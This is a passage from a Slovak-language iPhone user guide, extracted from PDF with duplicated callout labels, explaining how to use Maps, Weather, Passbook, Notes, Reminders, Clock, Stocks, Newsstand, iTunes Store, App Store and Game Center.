UPOZORNENIE: Dôležité informácie týkajúce sa bezpečného navigovania a rušivých vplyvov
počas šoférovania nájdete v časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Tlačiť, zobraziť
premávku, zobraziť
výsledky alebo vybrať
zobrazenie.
Tlačiť, zobraziť
premávku, zobraziť
výsledky alebo vybrať
zobrazenie.
Klepnutím na značku
zobrazte banner
s informáciami.
Klepnutím na značku
zobrazte banner
s informáciami.
Rýchla
navigácia
Rýchla
navigácia
Získať ďalšie
informácie.
Získať ďalšie
informácie.
Klepnite dvakrát pre
zväčšenie, klepnite
dvoma prstami pre
zmenšenie. Prípadne
použite gesto rozovretie.
Klepnite dvakrát pre
zväčšenie, klepnite
dvoma prstami pre
zmenšenie. Prípadne
použite gesto rozovretie.
Aktuálna poloha Aktuálna poloha
Zadajte vyhľadávanie. Zadajte vyhľadávanie.
Zobraziť
aktuálnu
polohu.
Zobraziť
aktuálnu
polohu.
Flyover (3D
v štandardnom
zobrazení)
Flyover (3D
v štandardnom
zobrazení)
Získať trasu. Získať trasu.
Dôležité: Mapy, smery, 3D, Flyover a aplikácie založené na určovaní polohy sú závislé od
dátových služieb. Tieto údaje a služby sa môžu meniť a nemusia byť dostupné vo všetkých
oblastiach, čo môže spôsobiť, že mapy, smery, 3D, Flyover alebo informácie stanovujúce
polohu môžu byt nedostupné, nepresné alebo neúplné. Porovnajte informácie získané
pomocou iPhonu so svojím okolím a korigujte tak akékoľvek nezrovnalosti. Niektoré funkcie
aplikácie Mapy vyžadujú lokalizačné služby. Viac v časti Súkromie na strane 146.
Vyhľadanie lokality: Klepnite na vyhľadávacie pole a zadajte adresu alebo iné informácie ako
napríklad:
• Križovatku
• Oblasť
• Orientačný bod
MapyKapitola 14 Mapy 84
• PSČ
• Podnik alebo firmu
Prípadne klepnite na niektorý z návrhov v zozname pod vyhľadávacím poľom.
Základy práce s mapou:
• Posunutie nahor, nadol, doľava alebo doprava: Potiahnite obrazovku.
• Otočenie mapy: Priložte na obrazovku dva prsty a otočte ich. V pravom hornom rohu sa
zobrazí kompas, ktorý ukazuje orientáciu mapy.
• Návrat na orientáciu smerom na sever: Klepnite na .
Vyhľadanie polohy kontaktu alebo uloženého či posledného vyhľadávania: Klepnite na .
Získanie a zdieľanie informácií o lokalite: Klepnutím na značku zobrazte informačný banner a
potom klepnite na . Ak sú dostupné, môžete získať aj recenzie a fotky zo služby Yelp. Môžete
tiež získať trasu, kontaktovať firmu, navštíviť jej domovskú stránku, pridať firmu do svojich
kontaktov, zdieľať polohu alebo pridať polohu medzi obľúbené.
• Čítanie recenzií: Klepnite na Recenzie. Ak chcete použiť ďalšie funkcie služby Yelp, klepnite na
niektoré z tlačidiel pod recenziami.
• Zobrazenie fotiek: Klepnite na Fotky.
• Odoslanie polohy emailom, v textovej správe alebo jej zverejnenie na Facebooku: Klepnite na
Zdieľať polohu. Ak chcete odoslať polohu ako tweet alebo ju zdieľať na Facebooku, musíte
byť prihlásení do týchto účtov. Viac v časti Zdieľanie na strane 31.
Použitie značky (špendlíka) na označenie polohy: Dotknite sa mapy a podržte na nej prst.
Zobrazí sa značka (vyzerá ako špendlík).
Výber štandardného, hybridného alebo satelitného zobrazenia mapy: Klepnite na pravý
dolný roh.
Nahlásenie problému: Klepnite na pravý dolný roh.
Stanovenie trás
Stanovenie trasy pre cestu autom: Klepnite na , klepnite na , zadajte začiatočnú a
koncovú polohu a klepnite na Trasa. Prípadne vyberte polohu alebo trasu zo zoznamu (ak je
dostupný). Ak sa zobrazí viacero trás, klepnite na tú, ktorú chcete použiť. Klepnutím na Štart
spustite navigáciu.
• Zapnutie navigácie pomocou hlasových pokynov (iPhone 4S alebo novšie modely): Klepnite
na Štart.
Aplikácia Mapy bude sledovať vašu polohu na mape a pomocou hlasových pokynov vás
bude navigovať do cieľa. Klepnutím na obrazovku zobrazíte alebo skryjete ovládanie.
Ak sa iPhone automaticky zamkne, aplikácia Mapy ostane zobrazená na obrazovke a bude
vás naďalej navigovať do cieľa. Hlasové pokyny budú pokračovať aj po zapnutí inej aplikácie.
Ak sa chcete vrátiť späť do aplikácie Mapy, klepnite na banner vo vrchnej časti obrazovky.
• Zobrazenie podrobnej navigácie (iPhone 4S alebo novšie modely): Klepnite na Štart a potom
zobrazte nasledujúci krok potiahnutím prsta smerom doľava.
• Návrat na prehľad trasy: Klepnite na Prehľad.
• Zobrazenie navigačných pokynov ako zoznamu: Klepnite na na obrazovke s prehľadom.
• Zastavenie podrobnej navigácie: Klepnite na Zložiť.Kapitola 14 Mapy 85
Získanie rýchlej trasy autom z aktuálnej polohy: Klepnite na na banneri svojej aktuálnej
polohy a potom klepnite na Trasa sem.
Stanovenie pešej trasy: Klepnite na , klepnite na , zadajte začiatočnú a koncovú polohu a
klepnite na Trasa. Prípadne vyberte polohu alebo trasu zo zoznamu (ak je dostupný). Klepnite
na Štart a potom zobrazte nasledujúci krok potiahnutím prsta smerom doľava.
Stanovenie trasy verejnou dopravou: Klepnite na , klepnite na , zadajte začiatočnú a
koncovú polohu a klepnite na Trasa. Prípadne vyberte polohu alebo trasu zo zoznamu (ak je
dostupný). Stiahnite si a otvorte aplikácie prepravných služieb, ktoré chcete použiť.
Zobrazenie dopravnej situácie: Klepnite na pravý dolný roh obrazovky a potom klepnite
na Premávka. Oranžové body sa zobrazia na miestach so spomalenou premávkou a červené
body na miestach, kde sa vytvárajú zápchy. Ak chcete zobraziť hlásenie o nehode, klepnite
na značku.
3D a Flyover
Na iPhone 4S alebo novších modeloch môžete použiť 3D (štandardné zobrazenie) alebo
Flyover (satelitné alebo hybridné zobrazenie) na zobrazenie trojrozmerných modelov veľkých
miest na celom svete. Môžete používať navigáciu obvyklým spôsobom a po zväčšení mapy
zobraziť budovy. Taktiež môžete upraviť uhol kamery.
Budova Transamerica Pyramid je registrovaná značka
služby spoločnosti Transamerica Corporation.
Budova Transamerica Pyramid je registrovaná značka
služby spoločnosti Transamerica Corporation.
Použitie 3D alebo Flyover: Zväčšujte mapu, až kým sa neaktivujú tlačidlá alebo a potom
klepnite na jedno z nich. Prípadne potiahnite nahor dva prsty. Prepínať medzi zobrazením 3D a
Flyover môžete klepnutím do pravého dolného rohu a zmenou zobrazenia.
Úprava uhla kamery: Potiahnite dva prsty smerom nahor alebo nadol.
Nastavenia aplikácie Mapy
Nastavenie možností pre Mapy: Prejdite do Nastavenia > Mapy. Nastaviť môžete okrem iných:
• Úroveň hlasitosti hlasovej navigácie (iPhone 4S alebo novšie modely):
• Vzdialenosti v kilometroch alebo v míľach
• Jazyk popisov a ich veľkosť15
86
Získajte aktuálnu teplotu a predpoveď na šesť dní pre jedno alebo viacero miest na svete.
Aplikácia Počasie dokáže zobraziť aj hodinovú predpoveď na najbližších 12 hodín. Aplikácia
Počasie využíva lokalizačné služby, takže môžete získať predpoveď pre svoj aktuálnu polohu.
Aktuálne podmienky Aktuálne podmienky
Pridať alebo
vymazať mestá.
Pridať alebo
vymazať mestá.
Aktuálna teplota Aktuálna teplota
Aktuálna hodinová
predpoveď
Aktuálna hodinová
predpoveď
Počet uložených miest Počet uložených miest
Ak je ciferník hodín svetlomodrý, je v danom meste deň. Tmavofialová farba označuje noc.
Spravovanie zoznamu miest: Klepnite na a potom pridajte mesto alebo vykonajte iné
zmeny. Po skončení klepnite na Hotovo.
• Pridanie mesta: Klepnite na . Zadajte názov mesta alebo PSČ a potom klepnite na Vyhľadať.
• Zmena poradia miest: Potiahnite nahor alebo nadol.
• Vymazanie mesta: Klepnite na a potom na Vymazať.
• Výber stupňov Fahrenheita alebo Celzia: Klepnite na °F alebo °C.
Zobrazenie počasia v inom meste: Potiahnite obrazovku doľava alebo doprava.
Na obrazovke úplne vľavo je zobrazené miestne počasie.
Zobrazenie aktuálnej hodinovej predpovede:
• iPhone 5: Potiahnite hodinové zobrazenie doľava alebo doprava.
• iPhone 4S alebo starší: Klepnite na Každú hodinu.
Zapnutie alebo vypnutie miestneho počasia: Prejdite do Nastavenia > Súkromie >
Lokalizačné služby. Viac v časti Súkromie na strane 146.
Zobrazenie informácií o meste zo stránky yahoo.com: Klepnite na .
PočasieKapitola 15 Počasie 87
Použitie služby iCloud na prenesenie zoznamu miest na vaše ostatné iOS zariadenia:
Prejdite do Nastavenia > iCloud > Dokumenty a dáta a potom zapnite možnosť Dokumenty a
dáta (v predvolených nastaveniach je zapnutá). Viac v časti iCloud na strane 16.16
88
Aplikácia Passbook umožňuje uchovanie všetkých vašich lístkov, ako napríklad palubných
vstupeniek alebo lístkov do kina, na jednom mieste.
Klepnutím na lístok
ho zobrazíte.
Klepnutím na lístok
ho zobrazíte.
V Passbooku môžete uchovať darčekové karty, kupóny, lístky a ďalšie tipy vstupeniek. Ak si
chcete pozrieť lístok alebo ho použiť, zobrazte si ho v Passbooku alebo na zamknutej ploche.
Pridanie lístka do aplikácie Passbook: Na webovej stránke predajcu alebo v potvrdzovacom
emaily klepnite na Pridať do Passbooku. Lístok môžete taktiež pridať priamo z aplikácie, ktorá
podporuje Passbook.
Ak chcete pridávať lístky do Passbooku, musíte byť prihlásení do iCloudu.
Použitie lístka: Vyberte lístok a nasmerujte čiarový kód na čítačku.
PassbookKapitola 16 Passbook 89
Ak sú zapnuté lokalizačné služby a predajca to podporuje, zobrazí sa lístok v prípade potreby
na zamknutej ploche. Lístok sa takýmto spôsobom zobrazí napríklad pri príchode na letisko, do
hotela alebo do kina.
Klepnite pre zobrazenie
ďalších detailov.
Klepnite pre zobrazenie
ďalších detailov.
Zobrazenie ďalších informácií: Klepnite na .
Vymazanie lístka: Klepnite na a potom klepnite na .
Zabránenie zobrazovania lístkov na zamknutej ploche: Prejdite do Nastavenia >
Všeobecné > Uzamykanie heslom, klepnite na Zapnúť heslo, potom prejdite do Povoliť prístup
zo zamknutej obrazovky a vypnite Passbook.
Prenos lístka do iného iPhonu alebo iPodu touch: Prejdite do Nastavenia > iCloud a zapnite
možnosť Passbook. 17
90
Zaznamenajte si poznámky na iPhone a vďaka iCloudu budú dostupné na všetkých vašich
ostatných iOS zariadeniach a počítačoch Mac. Poznámky môžete čítať a vytvárať aj v ostatných
účtoch, ako je napríklad Gmail alebo Yahoo!.
Klepnite na
poznámku pre
jej úpravu.
Klepnite na
poznámku pre
jej úpravu.
Vymazať poznámku. Vymazať poznámku.
Tlačiť poznámku
alebo ju odoslať
emailom.
Tlačiť poznámku
alebo ju odoslať
emailom.
Pridať novú
poznámku.
Pridať novú
poznámku.
Zobraziť zoznam poznámok. Zobraziť zoznam poznámok.
Zobraziť predošlú alebo
ďalšiu poznámku.
Zobraziť predošlú alebo
ďalšiu poznámku.
Ak chcete, aby boli vaše poznámky aktuálne na vašich iOS zariadeniach a počítačoch Mac,
použite iCloud:
• Ak v iCloude používate emailovú adresu s príponou me.com alebo mac.com: Prejdite do
Nastavenia > iCloud a zapnite možnosť Poznámky.
• Ak v iCloude používate Gmail alebo iný IMAP účet: Prejdite do Nastavenia > Mail, kontakty,
kalendáre a zapnite pre tento účet možnosť Poznámky.
Výber predvoleného účtu pre nové poznámky: Prejdite do Nastavenia > Poznámky.
Vytvorenie poznámky v špecifickom účte: Klepnite na Účty, zvoľte daný účet a potom
vytvorte poznámku klepnutím na . Ak tlačidlo Účty nie je zobrazené, klepnite najprv na
tlačidlo Poznámky.
Zobrazenie len poznámok konkrétneho účtu: Klepnite na Účty a vyberte účet. Ak tlačidlo
Účty nie je zobrazené, klepnite najprv na tlačidlo Poznámky.
Vymazanie poznámky počas prezerania zoznamu poznámok: Potiahnite prst cez poznámku
v zozname.
PoznámkyKapitola 17 Poznámky 91
Vyhľadávanie poznámok: Počas prezerania zoznamu poznámok zobrazíte prejdite rolovaním
do vrchnej časti obrazovky a zobrazí sa vyhľadávacie pole. Klepnite do poľa a zadajte hľadaný
výraz. Poznámky môžete vyhľadávať aj z plochy. Viac v časti Vyhľadávanie na strane 29.
Tlačenie alebo odoslanie poznámky emailom: Počas čítania poznámky klepnite na . Ak
chcete odoslať poznámku prostredníctvom emailu, musí byť na iPhone nastavený emailový
účet. Viac v časti Nastavenie emailových a ďalších účtov na strane 15.
Zmena písma: Prejdite do Nastavenia > Poznámky.18
92
Pripomienky vás upozornia na všetky veci, ktorým sa potrebujete venovať.
Dokončená položka Dokončená položka
Pridať položku. Pridať položku.
Zobraziť zoznamy Zobraziť zoznamy
Zobrazenie podrobností pripomienky: Klepnite na pripomienku. Môžete:
• Zmeniť alebo vymazať pripomienku
• Nastaviť termín ukončenia pripomienky
• Nastaviť prioritu pripomienky
• Pridať poznámky
• Preniesť pripomienku do iného zoznamu
Pripomienky vás môžu upozorniť pri príchode na určité miesto alebo pri jeho opustení.
Pridanie upozornenia na polohu: Počas zadávania pripomienky klepnite na a zapnite
možnosť Pripomenúť na mieste.
Ak chcete použiť inú polohu, klepnite na svoju aktuálnu polohu. Medzi polohy v zozname
patria adresy z vašej osobnej vizitky v aplikácii Kontakty ako napríklad adresa vášho domova a
pracoviska. Ak chcete použiť inú adresu, klepnite na Zadajte adresu.
Poznámka: Polohové pripomienky nie sú dostupné na iPhone 3GS. V účtoch Microsoft
Exchange a Outlook nie je možné nastaviť polohu pre pripomienky.
Vyhľadávanie pripomienok: Klepnite na a zobrazí sa vyhľadávacie pole. Pripomienky
môžete vyhľadávať aj priamo z plochy. Prehľadávané sú názvy pripomienok. Na vyhľadávanie
alebo pridávanie pripomienok môžete použiť aj Siri.
PripomienkyKapitola 18 Pripomienky 93
Vypnutie hlásení pripomienok: Prejdite do Nastavenia > Hlásenia. Viac informácií nájdete
v časti Funkcia Nerušiť a hlásenia na strane 138.
Nastavenie zvuku prehrávaného pri pripomienkach: Prejdite do Nastavenia > Zvuky.
Synchronizácia pripomienok s ostatnými zariadeniami: Prejdite do Nastavenia > iCloud
a potom zapnite možnosť Pripomienky. Ak chcete mať prístup aj k pripomienkam v systéme
OS X Mountain Lion, zapnite iCloud aj na svojom Macu. Pripomienky sú podporované aj
niektorými inými typmi účtov, ako napríklad Exchange. Prejdite do Nastavenia > Mail, kontakty,
kalendáre a pre účty, ktoré chcete používať, zapnite možnosť Pripomienky.
Nastavenie predvoleného zoznamu pre nové pripomienky: Prejdite do Nastavenia > Mail,
kontakty, kalendáre a v časti Pripomienky klepnite na Predvolený zoznam.19
94
Pridať hodiny. Pridať hodiny.
Zobraziť hodiny,
nastaviť budík,
spustiť stopky alebo
nastaviť časovač.
Zobraziť hodiny,
nastaviť budík,
spustiť stopky alebo
nastaviť časovač.
Vymazať alebo upraviť poradie hodín. Vymazať alebo upraviť poradie hodín.
Pridanie hodín: Klepnite na a zadajte názov mesta alebo vyberte mesto zo zoznamu. Pokiaľ
sa mesto, ktoré hľadáte, nenašlo, skúste vyhľadať väčšie mesto v rovnakom časovom pásme.
Usporiadanie hodín: Klepnite na Upraviť a potom potiahnite pre presun alebo klepnite na
pre vymazanie.
Nastavenie budíka: Klepnite na Budík a potom klepnite na .
Zmena budíka: Klepnite na Upraviť, potom klepnite na pre zmenu nastavení alebo na
pre vymazanie.
Nastavenie automatického vypnutia iPhonu: Nastavte časovač, klepnite na Po uplynutí času
a vyberte Zastaviť prehrávanie.
Hodiny20
95
Sledujte cenu svojich akcií, jej vývoj v čase a informujte sa o svojich investíciách.
Spravovanie zoznamu akcií: Klepnite na a potom pridajte akcie alebo vykonajte iné zmeny.
Po skončení klepnite na Hotovo.
• Pridanie položky: Klepnite na . Zadajte symbol, názov spoločnosti, fondu alebo index a
klepnite na Vyhľadať.
• Vymazanie položky: Klepnite na .
• Zmena poradia položiek: Potiahnite nahor alebo nadol.
Zobrazenie informácií o akciách:
• Prepínanie medzi zobrazením percentuálnej zmeny, zmeny ceny a trhovej kapitalizácie Klepnite
na ktorúkoľvek hodnotu na pravej strane obrazovky.
• Zobrazenie zhrnutia, grafu alebo aktualít: Potiahnite prstom cez informácie pod zoznamom
akcií. Ak si chcete prečítať článok nejakej aktuality v Safari, klepnite na jej nadpis. Ak chcete
zmeniť časový úsek grafu, klepnite na 1d, 1t, 1m, 3m, 6m, 1r alebo 2r.
• Pridanie novinového článku do zoznamu Na prečítanie: Klepnite a podržte prst na názve
článku a potom klepnite na Pridať do zoznamu Na prečítanie.
• Zobrazenie ďalších informácií o akciách na yahoo.com: Klepnite na .
Ceny sa môžu zobrazovať s oneskorením 20 a viac minút (v závislosti od rýchlosti služby). Ak
chcete zobraziť akcie ako informáciu v centre hlásení, prečítajte si tému Hlásenia na strane 30.
AkcieKapitola 20 Akcie 96
Zobrazenie grafu na celej obrazovke: Otočte iPhone do orientácie na šírku.
• Zobrazenie hodnoty v konkrétnom dátume alebo čase: Dotknite sa grafu jedným prstom.
• Zobrazenie rozdielu hodnôt v čase: Dotknite sa grafu dvomi prstami.
Ak chcete, aby bol váš zoznam akcií aktuálny na vašich iOS zariadeniach a počítačoch,
použite iCloud: Prejdite do Nastavenia > iCloud > Dokumenty a dáta a potom zapnite
možnosť Dokumenty a dáta (v predvolených nastaveniach je zapnutá). Viac v časti iCloud na
strane 16.21
97
Kiosk je miesto, kde si môžete uchovať aplikácie časopisov a novín. Kiosk vás zároveň upozorní
na nové čísla, akonáhle budú dostupné.
Podržte prst
na publikácii
pre zmenu
usporiadania.
Podržte prst
na publikácii
pre zmenu
usporiadania.
Vyhľadať aplikácie
typu Kiosk.
Vyhľadať aplikácie
typu Kiosk.
Kiosk je miesto, kde si môžete uchovať aplikácie časopisov a novín a jednoducho k
nim pristupovať.
Vyhľadanie aplikácii typu Kiosk: Klepnite na Kiosk pre zobrazenie police a potom klepnite
na Obchod. Zakúpená aplikácia typu Kiosk bude pridaná na policu. Po stiahnutí aplikácie ju
otvorte a zobrazíte tak jednotlivé čísla a možnosti odoberania. Odoberania sú nákupy v rámci
aplikácií, ktoré sú účtované na váš účet.
Vypnutie automatického sťahovania nových čísiel: Prejdite do Nastavenia > Kiosk. Ak to daná
aplikácia podporuje, Kiosk stiahne nové čísla po pripojení k Wi-Fi.
Kiosk22
98
V skratke
Pomocou obchodu iTunes Store môžete do svojho iPhonu pridávať hudbu, TV seriály
a podcasty.
Prechádzať Prechádzať
Zobraziť nákupy,
stiahnuté a ďalšie
položky.
Zobraziť nákupy,
stiahnuté a ďalšie
položky.
iTunes Store môžete využívať na:
• Vyhľadávanie alebo prechádzanie obchodu za účelom vyhľadania hudby, TV seriálov, filmov,
zvonení a ďalších položiek.
• Prezeranie si svojich osobných odporúčaní služby Genius
• Sťahovanie už zakúpených položiek
Poznámka: Na používanie obchodu iTunes Store potrebujete pripojenie na internet a Apple ID.
Prezeranie obsahu: Klepnite na niektorú z kategórií. Pre zobrazenie špecifických zoznamov
klepnite na „Genres“ (Žánre). Ak chcete zobraziť viac informácií o danej položke, klepnite na ňu.
Vyhľadávanie obsahu: Klepnite na „Search“ (Vyhľadať), do vyhľadávacieho poľa zadajte jedno
alebo viac slov a potom klepnite na kláves Hľadať.
Prehratie ukážky položky: Klepnutím na skladbu alebo video prehrajte ukážku.
Zakúpenie položky: Klepnite na cenu (alebo na tlačidlo „Free“ (Zdarma)) a potom opätovným
klepnutím na toto tlačidlo zakúpte položku. Ak už máte položku kúpenú, zobrazí sa namiesto
ceny tlačidlo „Download“ (Stiahnuť) a nebude vám naúčtovaná cena položky. Počas sťahovania
položiek môžete zobraziť priebeh sťahovania klepnutím na „More“ (Viac) a potom na
„Downloads“ (Sťahovania).
iTunes StoreKapitola 22 iTunes Store 99
Vypožičanie filmu: V niektorých oblastiach sú dostupné na vypožičanie vybrané filmy.
Vypožičaný film môžete začať pozerať do 30 dní. Po spustení prehrávania filmu si ho počas
najbližších 24 hodín môžete prehrať koľkokrát budete chcieť. Po vypršaní týchto časových
limitov bude film vymazaný.
Stiahnutie už zakúpenej položky: Klepnite na „More“ (Viac) a potom klepnite na „Purchased“
(Zakúpené). Ak chcete automaticky sťahovať položky zakúpené na iných zariadeniach, prejdite
do Nastavenia > iTunes a App Store.
Uplatnenie darčekovej karty alebo kódu: Klepnite na jednu z kategórií, prejdite rolovaním na
spodok a klepnite na „Redeem“ (Uplatniť).
Zobrazenie alebo úprava účtu: Prejdite do Nastavenia > iTunes a App Store, klepnite na svoje
Apple ID a potom klepnite na Zobraziť Apple ID. Položky upravíte klepnutím na ne. Ak chcete
zmeniť svoje heslo, klepnite na pole Apple ID.
Zapnutie alebo vypnutie služby iTunes Match: Prejdite do Nastavenia > iTunes a App Store.
iTunes Match je platená služba, ktorá uchováva všetku vašu hudbu v iCloude, takže k nej
môžete pristupovať z ľubovoľného zariadenia.
Prihlásenie použitím iného Apple ID: Prejdite do Nastavenia > iTunes a App Store, klepnite na
názov svojho účtu a potom klepnite na Odhlásiť sa. Pri ďalšom stiahnutí aplikácie budete môcť
zadať iné Apple ID.
Sťahovanie zakúpených položiek použitím mobilnej siete: Prejdite do Nastavenia > iTunes a
App Store > Použiť mobilné dáta. Sťahovanie zakúpených položiek a používanie služby iTunes
Match prostredníctvom mobilnej siete môže byť spoplatnené vaším operátorom.
Úprava rozloženia tlačidiel na prácu s médiami
Tlačidlá v spodnej časti obrazovky môžete vymeniť a preusporiadať. Ak napríklad často
sťahujete zvonenia a málokedy pozeráte TV seriály , môžete tieto tlačidlá vymeniť.
Úprava tlačidiel na prechádzanie obsahu: Klepnite na „More“ (Viac) a na) „Edit“ (Upraviť).
Potom potiahnite tlačidlo na dolnú časť obrazovky, na miesto tlačidla, ktoré chcete nahradiť. Po
skončení klepnite na Hotovo.23
100
V skratke
V App Store si môžete prezerať, nakupovať a sťahovať aplikácie pre svoj iPhone.
Zobraziť kategóriu. Zobraziť kategóriu.
Zobraziť aktualizácie
a predchádzajúce
nákupy.
Zobraziť aktualizácie
a predchádzajúce
nákupy.
Tlačidlá na
prechádzanie
Tlačidlá na
prechádzanie
Obchod App Store môžete používať na:
• Získavanie bezplatných alebo spoplatnených aplikácií prezeraním alebo vyhľadávaním
• Sťahovanie predošlých nákupov a aktualizácií
• Uplatnenie darčekovej karty alebo kódu
• Odporučenie aplikácie priateľovi
• Spravovanie svojho App Store účtu
Poznámka: Na používanie obchodu App Store potrebujete pripojenie na internet a Apple ID.
Zakúpenie aplikácie: Klepnite na cenu (alebo na tlačidlo „Free“ (Zdarma)) aplikácie a potom
klepnite na „Buy Now“ (Kúpiť). Ak ste si už danú aplikáciu zakúpili, namiesto ceny sa zobrazí
tlačidlo „Install“ (Inštalovať). Opätovné stiahnutie tejto aplikácie nebude spoplatnené. Počas
sťahovania aplikácie sa na ploche zobrazí jej ikona s indikátorom priebehu sťahovania.
Stiahnutie už zakúpenej položky: Klepnite na „Updates“ (Aktualizácie) a potom klepnite na
„Purchased“ (Zakúpené). Ak chcete automaticky sťahovať nové položky zakúpené na iných
zariadeniach, prejdite do Nastavenia > iTunes a App Store.
App StoreKapitola 23 App Store 101
Sťahovanie aktualizovaných aplikácií: Klepnite na „Updates“ (Aktualizácie). Klepnutím na
aplikáciu si prečítajte informácie o novej verzii a následne ju stiahnite klepnutím na „Update“
(Aktualizovať). Prípadne klepnite na „Update All“ (Aktualizovať všetky) – začnú sa sťahovať
všetky aplikácie v zozname.
Uplatnenie darčekovej karty alebo kódu: Klepnite na „Featured“ (Populárne), prejdite
rolovaním na spodok a klepnite na „Redeem“ (Uplatniť).
Informovanie priateľa o aplikácii: Vyhľadajte aplikáciu, klepnite na a vyberte spôsob, akým
ju chcete zdieľať.
Zobrazenie a úprava účtu: Prejdite do Nastavenia > iTunes a App Store, klepnite na svoje
Apple ID a potom klepnite na Zobraziť Apple ID. Môžete zapnúť odoberanie noviniek v iTunes
a zobraziť si zásady ochrany osobných údajov Apple. Ak chcete zmeniť svoje heslo, klepnite na
pole Apple ID.
Prihlásenie použitím iného Apple ID: Prejdite do Nastavenia > iTunes a App Store, klepnite na
názov svojho účtu a potom klepnite na Odhlásiť sa. Pri ďalšom stiahnutí aplikácie budete môcť
zadať iné Apple ID.
Vytvorenie nového Apple ID: Prejdite do Nastavenia > iTunes a App Store a potom klepnite na
Vytvoriť nové Apple ID. Riaďte sa pokynmi na obrazovke.
Sťahovanie zakúpených položiek použitím mobilnej siete: Prejdite do Nastavenia > iTunes a
App Store > Použiť mobilné dáta. Sťahovanie zakúpených položiek prostredníctvom mobilnej
siete môže byť spoplatnené vaším operátorom. Aplikácie Kiosk sa aktualizujú výlučne cez sieť
Wi-Fi.
Vymazávanie aplikácií
Vymazanie aplikácie zakúpenej v App Store: Podržte prst na ikone takejto aplikácie na
ploche, až kým sa nezačne chvieť a potom klepnite na . Vstavané aplikácie nie je možné
vymazať. Po dokončení úprav stlačte tlačidlo Domov .
Vymazaním aplikácie dôjde aj k vymazaniu dát. Akúkoľvek aplikáciu, ktorú ste si zakúpili v App
Store, si môžete opäť bezplatne stiahnuť.
Viac informácií o trvalom vymazaní všetkých aplikácií, dát a nastavení nájdete v časti
Resetovanie na strane 145.24
102
V skratke
Game Center vám umožňuje hrať svoje obľúbené hry s priateľmi, ktorí používajú iPhone, iPad,
iPod touch alebo Mac so systémom OS X Mountain Lion.
UPOZORNENIE: Dôležité informácie týkajúce sa prevencie pred zraneniami spôsobenými
vykonávaním opakovaných pohybov nájdete v časti Dôležité informácie týkajúce sa
bezpečnosti na strane 153.
Zobraziť najlepších
hráčov.
Zobraziť najlepších
hráčov.
Odpovedať na
priateľské žiadosti.
Odpovedať na
priateľské žiadosti.
Zobraziť zoznam
cieľov hry.
Zobraziť zoznam
cieľov hry.
Hrať hru. Hrať hru.
Nájsť súpera. Nájsť súpera.
Vybrať hru. Vybrať hru.
Vyhľadať výzvy od
priateľov.
Vyhľadať výzvy od
priateľov.
Pozvať priateľov na hranie hry. Pozvať priateľov na hranie hry.
Upraviť stav, zmeniť fotku
alebo sa odhlásiť.
Upraviť stav, zmeniť fotku
alebo sa odhlásiť.
Prihlásenie: Otvorte Game Center. Ak je vo vrchnej časti obrazovky zobrazená vaša prezývka
a meno, ste prihlásení. Ak tieto nie sú zobrazené, zadajte svoje Apple ID a heslo a klepnite na
Prihlásiť sa. Môžete použiť rovnaké Apple ID, aké používate pre iCloud alebo na nakupovanie.
Ak chcete na hranie používať osobitné Apple ID, klepnite na Vytvoriť nový účet.
Zakúpenie hry: Klepnite na Hry a potom klepnite na odporúčanú hru alebo na Nájsť Game
Center hry.
Hranie hry: Klepnite na Hry, vyberte hru a klepnite na Hrať.
Návrat do Game Center po dohraní hry: Stlačte tlačidlo Domov a na ploche klepnite na
Game Center.
Game CenterKapitola 24 Game Center 103
Odhlásenie: Klepnite na Ja, klepnite na banner účtu a potom klepnite na Odhlásiť sa. Nie je
potrebné sa odhlasovať pri každom ukončení aplikácie Game Center.
Hranie s priateľmi
Pozvanie priateľov do hry pre viacerých hráčov: Klepnite na Priatelia, vyberte priateľa,
vyberte hru a potom klepnite na Hrať. Ak hra umožňuje alebo vyžaduje viacerých hráčov,
vyberte ich a potom klepnite na Ďalej. Odošlite pozvánku a počkajte, kým bude prijatá
ostatnými. Keď sú všetci pripravení, spustite hru. Ak priateľ nie je dostupný alebo nereaguje
na pozvánku, môžete klepnúť na možnosť Autospoluhráč a nechať Game Center nech vám
vyhľadá spoluhráča. Prípadne môžete klepnúť na Pozvať priateľa a pozvať niekoho iného.
Odoslanie priateľskej žiadosti: Klepnite na Priatelia alebo na Žiadosti, klepnite na a potom
zadajte emailovú adresu priateľa alebo jeho prezývku v Game Center. Ak si chcete prezerať
kontakty, klepnite na . Ak chcete do jednej žiadosti pridať viacerých priateľov, klepnite po
zadaní každej z adries na Return.
Odoslanie výzvy na prekonanie úspechu v hre: Klepnite na svoje skóre alebo dosiahnutý
úspech a potom klepnite na Vyzvať priateľov.
Zobrazenie hier, ktoré hrá priateľ a jeho skóre: Klepnite na Priatelia, potom klepnite na meno
priateľa a nakoniec na Hry alebo Body.
Zakúpenie hry, ktorú má váš priateľ: Klepnite na Priatelia a potom klepnite na meno
svojho priateľa. Klepnite na hru v zozname hier svojho priateľa a potom klepnite na cenu hry
zobrazenú vo vrchnej časti obrazovky.
Zobrazenie zoznamu priateľových priateľov: Klepnite na Priatelia, potom klepnite na meno
priateľa a nakoniec na Priatelia pod obrázkom priateľa.
Odstránenie priateľa: Klepnite na Priatelia, klepnite na meno a potom klepnite na Odstrániť.
Utajenie emailovej adresy: V nastaveniach svojho Game Center účtu vypnite Verejný profil.
Viac v časti „Nastavenia Game Center“ nižšie.
Vypnutie aktivít pre viacerých hráčov alebo priateľských žiadostí: Prejdite do Nastavenia >
Všeobecné > Obmedzenia a vypnite Hry pre viac hráčov alebo Pridávanie priateľov. Ak sú tieto
prepínače neaktívne, klepnite najprv na Povoliť obmedzenia na vrchu obrazovky.
Nahlásenie urážlivého alebo nevhodného správania: Klepnite na Priatelia, potom klepnite na
meno osoby a nakoniec na Nahlásiť problém.
Nastavenia Game Center
Niektoré nastavenia Game Center sú priradené k Apple ID, ktoré používate na prihlásenie.
Ďalšie nastavenia sa nachádzajú v aplikácii Nastavenia na iPhone.
Zmena nastavení Game Center pre vaše Apple ID: Prihláste sa pomocou svojho Apple ID,
klepnite na Ja, klepnite na banner účtu a potom vyberte Zobraziť účet.
Výber hlásení, ktoré chcete používať pre Game Center: Prejdite do Nastavenia > Hlásenia >
Game Center. Ak sa Game Center nezobrazí, zapnite Hlásenia.
Zmena obmedzení pre Game Center: Prejdite do Nastavenia > Všeobecné > Obmedzenia.25
104
V skratke
iPhone vám umožňuje jednoducho pristupovať k zoznamom kontaktov z vášho osobného,
firemného a organizačného účtu a upravovať tieto zoznamy.
Otvoriť v
aplikácii Mail.
Otvoriť v
aplikácii Mail.
Odoslať Tweet. Odoslať Tweet.
Vytočiť číslo. Vytočiť číslo.
